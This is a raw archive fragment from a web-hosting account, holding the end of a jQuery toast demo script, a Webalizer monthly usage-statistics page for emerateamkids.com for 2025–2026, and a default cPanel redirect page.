$("#text-align").is(':visible') ) { options.textAlign = $('#text-align').val(); }; options.loader = $('.toast-textLoader').html() === 'false' ? false : true; options.loaderBg = $('.toast-textLoaderBg').html(); $.toast( options ); } generateCode(); }); }); </script> </body> </html>home/emeraadmin/tmp/webalizer/index.html000064400000023257151701455660014402 0ustar00<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!-- Generated by The Webalizer Ver. 2.23-08 --> <!-- --> <!-- Copyright 1997-2013 Bradford L. Barrett --> <!-- --> <!-- Distributed under the GNU GPL Version 2 --> <!-- Full text may be found at: --> <!-- http://www.webalizer.org --> <!-- --> <!-- Give the power back to the programmers --> <!-- Support the Free Software Foundation --> <!-- (http://www.fsf.org) --> <!-- --> <!-- *** Generated: 15-Apr-2026 12:13 UTC *** --> <HTML lang="en"> <HEAD> <TITLE>Usage Statistics for emerateamkids.com - Summary by Month</TITLE> </HEAD> <BODY BGCOLOR="#E8E8E8" TEXT="#000000" LINK="#0000FF" VLINK="#FF0000"> <H2>Usage Statistics for emerateamkids.com</H2> <SMALL><STRONG> Summary by Month<BR> Generated 15-Apr-2026 12:13 UTC<BR> </STRONG></SMALL> <CENTER> <HR> <P> <IMG SRC="usage.png" ALT="Usage summary for emerateamkids.com" HEIGHT=256 WIDTH=512><P> <TABLE WIDTH=600 BORDER=2 CELLSPACING=1 CELLPADDING=1> <TR><TH HEIGHT=4></TH></TR> <TR><TH COLSPAN=11 BGCOLOR="#C0C0C0" ALIGN=center>Summary by Month</TH></TR> <TR><TH HEIGHT=4></TH></TR> <TR><TH ALIGN=left ROWSPAN=2 BGCOLOR="#C0C0C0"><FONT SIZE="-1">Month</FONT></TH> <TH ALIGN=center COLSPAN=4 BGCOLOR="#C0C0C0"><FONT SIZE="-1">Daily Avg</FONT></TH> <TH ALIGN=center COLSPAN=6 BGCOLOR="#C0C0C0"><FONT SIZE="-1">Monthly Totals</FONT></TH></TR> <TR><TH ALIGN=center BGCOLOR="#00805c"><FONT SIZE="-1">Hits</FONT></TH> <TH ALIGN=center BGCOLOR="#0040ff"><FONT SIZE="-1">Files</FONT></TH> <TH ALIGN=center BGCOLOR="#00e0ff"><FONT SIZE="-1">Pages</FONT></TH> <TH ALIGN=center BGCOLOR="#ffff00"><FONT SIZE="-1">Visits</FONT></TH> <TH ALIGN=center BGCOLOR="#ff8000"><FONT SIZE="-1">Sites</FONT></TH> <TH ALIGN=center BGCOLOR="#ff0000"><FONT SIZE="-1">KBytes</FONT></TH> <TH ALIGN=center BGCOLOR="#ffff00"><FONT SIZE="-1">Visits</FONT></TH> <TH ALIGN=center BGCOLOR="#00e0ff"><FONT SIZE="-1">Pages</FONT></TH> <TH ALIGN=center BGCOLOR="#0040ff"><FONT SIZE="-1">Files</FONT></TH> <TH ALIGN=center BGCOLOR="#00805c"><FONT SIZE="-1">Hits</FONT></TH></TR> <TR><TH HEIGHT=4></TH></TR> <TR><TD NOWRAP><A HREF="usage_202604.html"><FONT SIZE="-1">Apr 2026</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">366</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">40</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">195</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">170</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1828</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1435</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">2554</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">2935</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">605</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">5503</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202603.html"><FONT SIZE="-1">Mar 2026</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">394</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">40</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">316</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">69</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">744</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">3371</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">2146</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">9811</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1250</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">12238</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202602.html"><FONT SIZE="-1">Feb 2026</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">1289</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">40</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1223</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">57</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">690</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">10660</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1598</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">34256</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1145</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">36096</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202601.html"><FONT SIZE="-1">Jan 2026</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">4003</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">40</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">3902</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">96</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">877</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">35620</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">3000</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">120968</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1250</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">124115</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202512.html"><FONT SIZE="-1">Dec 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">982</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">40</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">844</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">194</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">785</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">8196</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">6040</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">26188</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1265</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">30470</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202511.html"><FONT SIZE="-1">Nov 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">5624</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">40</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">5470</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">195</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">817</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">41843</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">5875</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">164115</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1210</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">168749</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202510.html"><FONT SIZE="-1">Oct 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">48603</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">37640</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">48357</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1210</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">2997</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">15583524</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">37511</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1499096</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1166867</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1506696</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202509.html"><FONT SIZE="-1">Sep 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">23620</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">17382</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">23439</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">702</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">2530</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">8471193</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">21077</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">703193</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">521464</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">708608</FONT></TD></TR> <TR><TD NOWRAP><A HREF="usage_202508.html"><FONT SIZE="-1">Aug 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">444</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">109</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">226</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">56</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">663</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">24430</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">902</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">3620</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">1751</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">7113</FONT></TD></TR> <TR><TD NOWRAP><FONT SIZE="-1">Jul 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD></TR> <TR><TD NOWRAP><FONT SIZE="-1">Jun 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD></TR> <TR><TD NOWRAP><FONT SIZE="-1">May 2025</FONT></A></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD> <TD ALIGN=right><FONT SIZE="-1">0</FONT></TD></TR> <TR><TH HEIGHT=4></TH></TR> <TR><TH BGCOLOR="#C0C0C0" COLSPAN=6 ALIGN=left><FONT SIZE="-1">Totals</FONT></TH> <TH BGCOLOR="#C0C0C0" ALIGN=right><FONT SIZE="-1">24180272</FONT></TH> <TH BGCOLOR="#C0C0C0" ALIGN=right><FONT SIZE="-1">80703</FONT></TH> <TH BGCOLOR="#C0C0C0" ALIGN=right><FONT SIZE="-1">2564182</FONT></TH> <TH BGCOLOR="#C0C0C0" ALIGN=right><FONT SIZE="-1">1696807</FONT></TH> <TH BGCOLOR="#C0C0C0" ALIGN=right><FONT SIZE="-1">2599588</FONT></TH></TR> <TR><TH HEIGHT=4></TH></TR> </TABLE> </CENTER> <P> <HR> <TABLE WIDTH="100%" CELLPADDING=0 CELLSPACING=0 BORDER=0> <TR> <TD ALIGN=left VALIGN=top> <SMALL>Generated by <A HREF="http://www.webalizer.org/"><STRONG>Webalizer Version 2.23</STRONG></A> </SMALL> </TD> </TR> </TABLE> <!-- Webalizer Version 2.23-08 (Mod: 26-Aug-2013) --> </BODY> </HTML> var/www/html/index.html000064400000000243151706137660011134 0ustar00<html><head><META HTTP-EQUIV="Cache-control" CONTENT="no-cache"><META HTTP-EQUIV="refresh" CONTENT="0;URL=/cgi-sys/defaultwebpage.cgi"></head><body></body></html>
/home/emeraadmin/.cpanel/../public_html/logs/../node_modules/../4d695/index.html.tar